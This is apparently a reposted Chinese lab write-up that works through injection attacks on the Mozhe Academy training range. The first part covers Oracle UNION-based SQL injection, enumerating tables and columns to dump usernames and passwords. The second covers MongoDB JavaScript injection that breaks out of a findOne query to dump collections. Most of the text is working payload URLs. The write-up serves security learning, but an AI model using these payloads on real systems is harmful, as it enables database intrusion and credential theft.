Oracle &&MongoDB
2023-12-13 05:15:12
听课的时候第一次碰到,可以了解一下吧,就直接开了墨者学院的靶场
#oracle数据库
这篇写的真的很好
1.判断注入点
当时找了半天没找到
看样子是找到了,测试一下看看
id=1 and 1=1 时没有报错
2.判断字段数
3.确定回显点
?id=1 union select null,null from dual
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
?id=1 union select 'null','null' from dual
oracle对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select 'null','null'。
第一个null回显在红字部分,第二个null回显在下边
4.获取表名
直接查询
获取第一个表名LOGMNR_SESSION_EVOLVE$
?id=1 union select 'null',(select table_name from user_tables where rownum=1) from dual
查询其他表
LOGMNR_GLOBAL$
?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
?LOGMNR_SESSION_EVOLVE$
?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_GLOBAL$') from dual
模糊查询
sns_users?
?id=1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual
?
5.获取列名
USER_NAME
?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
USER_PWD?
?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in'USER_NAME') from dual
?
5.查询数据
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'
终于出来啦
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'
解码一下
拿账号密码登录就可
#Mongodb 数据库
先要了解一下查询方式
在mysql中使用where子句来实现条件查询
但是mongogb是使用键值
先看下源码
# 查询语句,这里id值可控且没有经过过滤和限制
$query = "var data = db.notice.findOne({'id':'$id'}); return data;";
?
#打印出数据库中title字段和content字段信息
<?php echo $obj['retval']['title'] ?>
<?php echo $obj['retval']['content'] ?>
1.判断注入点
还是老的
2.测回显
?id=1'}); return ({title:1,content:'test
根据源码来确定 title回显在红色,content在灰字
3.获取库名
mozhe_cms_Authority
?id=1'}); return ({title:tojson(db),content:'1
db.getCollectionNames()返回的是数组,需要用to json转换为字符串。并且mongodb函数区分大小写
4.获取表名
?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
getCollectionNames()以数组形式返回所有集合,需要使用tojson()方法转字符串格式
5.获取数据、
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
这个密码得到是假的
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1
查询第二条数据
这是对的
文章来源:https://blog.csdn.net/2202_75317918/article/details/134931895
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!